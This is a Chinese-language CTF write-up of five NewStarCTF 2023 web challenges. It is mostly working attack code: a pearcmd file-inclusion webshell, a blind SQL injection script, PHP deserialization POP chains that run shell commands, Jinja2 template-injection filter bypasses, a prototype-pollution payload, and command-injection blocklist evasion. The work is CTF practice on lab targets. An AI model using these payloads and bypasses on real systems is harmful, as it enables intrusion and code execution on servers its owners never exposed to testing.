Writeup_2023_NewStarCTF_Week3

NewStarCTF第三周,菜鸟的wp


Include 🍐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {//过滤伪协议及flag
die('hacker!');
}

include($file.".php");//文件包含漏洞
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

?file=phpinfo,ctrl+F搜索FLAG:

pear1

让我们去查看register_argc_argv:

pear3

register_argc_argv开启时我们传入get的参数会被记录在$_SERVER这个全局变量数组中

并且$argc变量用于记录数组的大小。 $argv变量是用于记录输入参数。

pear4

参考P神的Docker PHP裸文件本地包含综述:

payload:/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/hello.php

pearpear2

注意要在bp上抓包修改,因为URL``get传参时会把<>这种自动编码。

然后访问/?file=tmp/hello

pearpear3

pearpear4

medium_sql

先判断字符型还是数字型注入:

/?id=TMP11503'--+ 字符型注入

or,select过滤了小写,union应该是正则匹配/i模式过滤掉了。

?id=TMP0919' And 1=1--+正常回显,?id=TMP0919' And 1=0--+回显id not exists

/?id=TMP0919' And if(length(database())>1,1,0)--+正常回显,?id=TMP0919' And if(length(database())>99,1,0)--+回显id not exists

二分法+布尔盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time
url = 'http://f74c4214-b1b0-4485-b876-75128295a980.node4.buuoj.cn:81/'
result=''
for i in range(1,100):
low=31
high=127
mid = (low+high)//2
while low<=high:
payload = "TMP0919'/**/And/**/if(Ascii(Substr(Database(),{},1))>{},1,0)%23".format(i, mid)#ctf
#爆库,注意题目有过滤大小写
#if(ascii(substr(database(),{},1))>{},1,0)#ctf
#爆表 grades,here_is_flag
#if(Ascii(Substr((Select(Group_Concat(Table_Name))From(InfOrmation_Schema.Tables)Where(Table_Schema='ctf')
#爆字段: #if(Ascii(Substr((Select(Group_Concat(Column_name))From(InfOrmation_Schema.Columns)Where(table_name='here_is_flag'))
#爆数据:
#if(ascii(substr((select(flag)from(here_is_flag)),{},1))>{},1,0)
r = requests.get(url+"?id="+payload)
#r = requests.get(url=url,params=paylaod)
time.sleep(0.03)
#print(r.text)
if ("TMP0919" in r.text):
low = mid+1
mid = (low+high)//2
else:
high = mid-1
mid = (low+high)//2
result+=chr(high+1)
print(result)
time.sleep(0.03)

POP Gadget

反序列化中的pop链构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
 <?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){//正则匹配name中所有大小写字符及数字,这个name要是个字符串,目测要把某个类赋值给name调用__toString方法
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()//果然有个__toString,应该要从__destruct跳到这里
{
($this->func)();//调用 $func存储的函数,可以利用这个去调用__invoke函数
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)//在对象中调用一个不可访问方法时调用,应该要利用__invoke跳到这里
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()//调用函数的方式调用一个对象时的回应方法
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);//unset,销毁指定变量,通过这个跳到__unset
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)//当对不可访问属性调用unset()时被调用
{
($this->func)($this->var); //函数执行
}
}

@unserialize($_POST['pop']); //反序列化的尾巴

//https://zhuanlan.zhihu.com/p/377676274

函数调用顺序:

Begin中的__destruct->Then中的__ToString->Super中的__invoke->Handle中的__call->CTF中的end(unset)->WhiteGod中的__unset

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class Begin{
public $name;
}
class Then{
private $func;
public function __construct(){
$this->func = new Super();
}
}
class Handle{
protected $obj;
public function __construct(){
$this->obj = new CTF();
}
}
class Super{
protected $obj;
public function __construct(){
$this->obj = new Handle();
}
}
class CTF{
public $handle;
public function __construct(){
$this->handle = new WhiteGod();
}


}
class WhiteGod{
public $func = 'system';
public $var = 'cat /flag';
}
$a = new Begin();
$b = new Then();
$a->name = $b;
echo (serialize($a));
//O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:10:"Thenfunc";O:5:"Super":1:{s:6:"*obj";O:6:"Handle":1:{s:6:"*obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /flag";}}}}}}

注意:私有变量序列化后不光会在变量名前加上类名,而且还会在类名前后各加一个空白字符%00protected属性倒不会在变量名前加类名,但他会先加一个*,然后在*之前分别加上%00

所以要修改为:

1
O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:10:"%00Then%00func";O:5:"Super":1:{s:6:"%00*%00obj";O:6:"Handle":1:{s:6:"%00*%00obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /flag";}}}}}}

然后postpop就行了~

1
2
3
4
5
6
7
8
9
10
11
12
//其实如果都是public的话可以这样做,可能更好理解一些(不过私有属性只能在定义它们的类内部访问,而不能在类外部或子类中直接访问。):
$a = new Begin();
$b = new Then();
$c = new Super();
$d = new Handle();
$e = new CTF();
$f = new WhiteGod();
$a -> name = $b;//类的实例被当字符串,调用tostring函数
$b -> func = $c;//调用函数的方式调用类,触发__invoke函数
$c -> obj = $d;//在对象中调用一个不可访问方法时触发__call函数
$d -> obj = $e;//触发CTF类中的end()函数,调用unset
$e -> handle = $f;

理解了上面这个链子的构造方法改一改再放进去就行,其实就是通过类内部提供的公共方法来间接访问私有属性,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Example {
private $privateProperty;

public function setPrivateProperty($value) {
$this->privateProperty = $value;
}

public function getPrivateProperty() {
return $this->privateProperty;
}
}

$example = new Example();
$example->setPrivateProperty("Hello, World!"); // 通过公共方法间接访问私有属性
echo $example->getPrivateProperty(); // 通过公共方法间接访问私有属性的值

其实这题我看一些人的做法直接urlencode序列化结果就直接传过去了。。但是我的不成功。。不知道为啥:(

GenShin

genshin1

dirsearch没扫出来啥,bp抓包发现这么个东西:

genshin4

secr3tofpop,访问就行

genshin2

node4.buuoj.cn:81/secr3tofpop?name=1

genshin3

name的值会回显到页面上,猜测SSTI,先判断类型:

/secr3tofpop?name=${7*7}

genshin5

/secr3tofpop?name={{7*7}}

genshin6

经过测试单个{}没被过滤,但{{}}会被检测到。而且引号''也被过滤了。

引号过滤我们可以使用数组[]或者直接config找他的爹,至于双括号被过滤,网上找了篇文章:

https://blog.csdn.net/weixin_73051164/article/details/132574970

?name={%%20print([].__class__.__base__.__subclasses__())%20%}:

/secr3tofpop?name=%7b%%20print([].__class__.__base__.__subclasses__())%20%%7D

genshin7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import re
import time
for i in range(0, 100):
time.sleep(0.04)
url = "http://3ae9f2a4-38eb-4d14-9b46-74045fd576fb.node4.buuoj.cn:81/secr3tofpop?name={%%20print([].__class__.__base__.__subclasses__()["+str(i)+"])%20%}"

s = requests.get(url=url)
time.sleep(0.06)
#print(s.text)
if 'os' in s.text:
print(i)
else:
continue

这段代码运行的时候会出问题,比如:

genshin8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<li><div class="frame" id="frame-139696630025344">
<h4>File <cite class="filename">"&lt;unknown&gt;"</cite>,
line <em class="line">2</em>,
in <code class="function">template</code></h4>
<div class="source "></div>
</div>
</ul>
<blockquote>jinja2.exceptions.TemplateSyntaxError: tag name expected
</blockquote>
</div>

<div class="plain">
<p>
This is the Copy/Paste friendly version of the traceback.
</p>
<textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last):
File &#34;/usr/local/lib/python3.8/site-packages/flask/app.py&#34;, line 2213, in __call__
return self.wsgi_app(environ, start_response)
File &#34;/usr/local/lib/python3.8/site-packages/flask/app.py&#34;, line 2193, in wsgi_app
response = self.handle_exception(e)
File &#34;/usr/local/lib/python3.8/site-packages/flask/app.py&#34;, line 2190, in wsgi_app
response = self.full_dispatch_request()
File &#34;/usr/local/lib/python3.8/site-packages/flask/app.py&#34;, line 1486, in full_dispatch_request
rv = self.handle_user_exception(e)
File &#34;/usr/local/lib/python3.8/site-packages/flask/app.py&#34;, line 1484, in full_dispatch_request
rv = self.dispatch_request()
File &#34;/usr/local/lib/python3.8/site-packages/flask/app.py&#34;, line 1469, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)
File &#34;/app/app.py&#34;, line 21, in hello
return render_template_string(sign_in)
File &#34;/usr/local/lib/python3.8/site-packages/flask/templating.py&#34;, line 162, in render_template_string
template = app.jinja_env.from_string(source)
File &#34;/usr/local/lib/python3.8/site-packages/jinja2/environment.py&#34;, line 1105, in from_string
return cls.from_code(self, self.compile(source), gs, None)
File &#34;/usr/local/lib/python3.8/site-packages/jinja2/environment.py&#34;, line 768, in compile
self.handle_exception(source=source_hint)
File &#34;/usr/local/lib/python3.8/site-packages/jinja2/environment.py&#34;, line 936, in handle_exception
raise rewrite_traceback_stack(source=source)
File &#34;&lt;unknown&gt;&#34;, line 2, in template
jinja2.exceptions.TemplateSyntaxError: tag name expected
</textarea>
</div>
<div class="explanation">
The debugger caught an exception in your WSGI application. You can now
look at the traceback which led to the error. <span class="nojavascript">
If you enable JavaScript you can also use additional features such as code
execution (if the evalex feature is enabled), automatic pasting of the
exceptions and much more.</span>
</div>
<div class="footer">
Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
friendly Werkzeug powered traceback interpreter.
</div>
</div>

<div class="pin-prompt">
<div class="inner">
<h3>Console Locked</h3>
<p>
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server.
<form>
<p>PIN:
<input type=text name=pin size=14>
<input type=submit name=btn value="Confirm Pin">
</form>
</div>
</div>
</body>
</html>

<!--

Traceback (most recent call last):
File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2213, in __call__
return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2193, in wsgi_app
response = self.handle_exception(e)
File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2190, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1486, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1484, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1469, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)
File "/app/app.py", line 21, in hello
return render_template_string(sign_in)
File "/usr/local/lib/python3.8/site-packages/flask/templating.py", line 162, in render_template_string
template = app.jinja_env.from_string(source)
File "/usr/local/lib/python3.8/site-packages/jinja2/environment.py", line 1105, in from_string
return cls.from_code(self, self.compile(source), gs, None)
File "/usr/local/lib/python3.8/site-packages/jinja2/environment.py", line 768, in compile
self.handle_exception(source=source_hint)
File "/usr/local/lib/python3.8/site-packages/jinja2/environment.py", line 936, in handle_exception
raise rewrite_traceback_stack(source=source)
File "<unknown>", line 2, in template
jinja2.exceptions.TemplateSyntaxError: tag name expected


-->

一开始想了挺久不知道为啥出这个页面,后面注意到这里面有个Debug,很明显是我们的输入有问题,尝试访问:/secr3tofpop?name={%%20print([].__class__.__base__.__subclasses__()[%22` 就是加号之前的那部分,果然进入了`Debug`界面: ![genshin9](img/genshin9.png) `payload`中的`+`被替换成空格了: `/secr3tofpop?name=++1++` ![genshin10](img/genshin10.png) ![genshin11](img/genshin11.png) 这里可以找到部分和`waf`有关的代码,但`waf`具体是什么不知道。 其实在`%7b%%20print([].__class__.__base__.__subclasses__())%20%%7D`界面是能搜索到带有`os`的模块的,总不能让我一个一个去数吧。。想了想写出个这个东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import re

a = "<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>"


# 使用正则表达式提取类名
class_names = re.findall(r"<class '([^']+)'", a)

# 输出整个数组
print(class_names)

# 输出'int'所在的位置
print("int 所在的位置:", class_names.index("os._wrap_close"))

#132
带有`Printer`和`Error`的模块没找到,就去找带有`os`的了 然后利用`.__init__.__globals__['os']`去访问`os`这个模块以调用函数: `secr3tofpop?name={%%20print([].__class__.__base__.__subclasses__()[132].__init__.__globals__[%27os%27])%20%}

又触发了过滤。。尝试后发现init这东西不让用(同时过滤大小写),参考:[SSTI模板注入绕过(进阶篇)_ssti绕过-CSDN博客](https://blog.csdn.net/miuzzx/article/details/110220425)

/secr3tofpop?name={%%20print([].__class__.__base__.__subclasses__()[132])%20%}

考虑使用拼接绕过:

/secr3tofpop?name={%%20print([].__class__.__base__.__subclasses__()[132][%22__in%22+%22it__%22][%22__glo%22+%22bals__%22][%22po%22%22pen%22](%22ls%22).read())%20%}

genshin14

1
/secr3tofpop?name={%%20print([].__class__.__base__.__subclasses__()[132][%22__in%22+%22it__%22][%22__glo%22+%22bals__%22][%22po%22%22pen%22](%22cat%20/flag%22).read())%20%}

genshin13

这题解法一大堆,其它payload可以参考:https://www.cnblogs.com/Article-kelp/p/14797393.html#5228271

OtenkiGirl

提示:rain… spread… pollute…,初步判断原型链污染

otengirl1

下载o.zip附件:

otengirl2

。。。。太多了,hint.txt打开发现是段日语:『「routes」フォルダーだけを見てください。SQLインジェクションはありません。』と御坂御坂は期待に満ちた気持ちで言った。

翻译:御坂御坂满怀期待地说道:“请只查看'routes'文件夹。没有SQL注入问题。

那就看看routes:

otengirl4

首先是info.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")

async function getInfo(timestamp) {//getInfo异步函数
timestamp = typeof timestamp === "number" ? timestamp : Date.now();//检查传入的timestamp参数是否为数字类型,如果不是则将其设置为当前时间戳
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();//将min_public_time转换为时间戳,使用应用程序配置中的最小公开时间,如果没有配置,则使用默认配置中的最小公开时间
timestamp = Math.max(timestamp, minTimestamp);//确保timestamp不会早于minTimestamp
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}

router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}

try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})

module.exports = router;
//主要就是getInfo这个函数,剩下的就是一些返回状态啥的

注意注释:Remove test data from before the movie was released,删除电影发布之前的测试数据。那flag应该和电影发布日期之前的某些数据有关。

submit.js(存在merge函数的部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}
//以及:
const result = await insert2db(merge(DEFAULT, data));//注意这里!

其实对原型链污染这东西有点了解就会知道:可以通过对象merge对象clone控制对象.__proto__的值,间接修改继承该原型对象的所有对象,举个简单的栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//用于将一个源对象的属性合并到目标对象中
function merge(target, source) {
for (let key in source) { //遍历source的所有属性
if (key in source && key in target) {//对于每个属性,若同时存在于源对象和目标对象中
merge(target[key], source[key]) //表示这是一个嵌套对象,需要递归调用merge函数,将源对象的嵌套属性合并到目标对象的对应嵌套属性中。
} else {
target[key] = source[key]//非嵌套属性,直接将源对象的属性值赋给目标对象的对应属性。
}
}
}
//

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')//JSON.parse的存在可以将JSON字符串解析为JavaScript对象,这样一来就存在o2.__protp__.b=2,并把这东西赋值给之前不存在的o1.__proto__
merge(o1, o2)
console.log(o1.a, o1.b)//1 2
console.log(o1.__proto__)//[Object: null prototype] { b: 2 }
o3 = {}
console.log(o3.b)//2
console.log(o3.__proto__)//[Object: null prototype] { b: 2 }

我们随便添点数据,抓包看一下:

submit这东西就是提交数据,info/时间戳就是加载底下那些愿望标签(看info.js也能知道)

otengirl3

otengirl6

现在有点思路了:根据

1
2
3
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();

timestamp = Math.max(timestamp, minTimestamp);

我们知道这个timestamp会取timestamp, minTimestamp之间的最大值(保证时间是在电影发布之后),minTimestamp的话通过创建一个新的Date对象。它首先尝试从CONFIG.min_public_time中获取最小公共时间,如果CONFIG.min_public_time不存在,则使用DEFAULT_CONFIG.min_public_time的值。

我们去配置文件中找找这个时间是多少:

1
2
3
4
5
6
7
8
9
10
11
12
13
//config.js
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
}
//config.default.js
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}

config.js中并不存在min_public_time(但config.default.js中存在,所以后面取得值是config.default.js中的。)那么我们可以通过污染config.js,在这个文件中加入我们想要的min_public_time,然后系统就会忽略config.default.js,让时间足够早。

那么哪里调用了merge函数呢?const result = await insert2db(merge(DEFAULT, data));

简单说下污染原理:merge(DEFAULT, data)会检查DEFAULT, data里面的键,如果某个键他俩都有,那就递归调用merge函数。如果存在某个键他俩不同时拥有,就令DEFAULT[key] = data[key]

如果data对象的原型链上存在名为min_public_time的属性,则该属性将被赋值给DEFAULT对象,那么DEFAULT[key]将会指向原型链上的值。在JavaScript中,对象可以具有特殊的属性__proto__,它指向对象的原型。通过修改data['__proto__'][‘min_public_time’]的值,我们可以影响原型链上的属性:

1
2
payload:
{"date":"", "place":"test","contact":"test","reason":"test", "timestamp":1700797610124, "__proto__": {"min_public_time": "1970-01-01"} }

otengirl7

然后刷新一下,会抓到info的包:

otengirl8

根据前面的代码我们知道info后面跟的数字就是ts,就是那个min_time后再过多少秒(还是毫秒来着,忘了)。刚设置了1970-01-01,后面随便改个小点的数字就行:

otengirl9

拿到flag

R!!!C!!!E!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}

minipop类下存在两个公有属性$codeqwejaskdjnlka以及 __toString()方法和__destruct()__destruct()这东西对象销毁时会自动调用(序列化会调用反序列化也会调用)。__toString()这东西就是一个类被当成字符串时会被调用。

思路就是通过__destruct()调用__toString()

还有就是虽然waf过滤了挺多,不过可以利用拼接的特性比如过滤了ls可以利用l''s来代替

exec函数本身不会将命令的结果直接显示在页面上。它将命令的输出作为字符串返回。eval会更常见

这题不会做。。参考了这位师傅的文章:https://blog.csdn.net/m0_63138919/article/details/133958661

主要就是利用tee这个命令:

tee3

后缀加不加无所谓,Linux下文件名可以使任何有效的字符串

1
2
3
4
5
6
7
8
9
10
<?php
class minipop{
public $code;
public $qwejaskdjnlka;
}
$a = new minipop();
$b = new minipop();
$a -> qwejaskdjnlka = $b;//通过echo,这时$b这个类的实例被当成字符串了
$b -> code = "ls / | t''ee viper";
echo serialize($a);

回显alright后直接访问viper就行:

tee1

1
2
3
4
5
6
7
8
9
10
11
<?php
class minipop{
public $code;
public $qwejaskdjnlka;
}
$a = new minipop();
$b = new minipop();
$a -> qwejaskdjnlka = $b;//通过echo,这时$b这个类的实例被当成字符串了
$b -> code = "cat /flag_is_h3eeere | t''ee viper3";
echo serialize($a);
//O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:35:"cat /flag_is_h3eeere | t''ee viper3";s:13:"qwejaskdjnlka";N;}}

tee2


Writeup_2023_NewStarCTF_Week3
http://example.com/2023/11/27/week3_Writeup_2023_NewStarCTF_Week3/
作者
notbad3
发布于
2023年11月27日
许可协议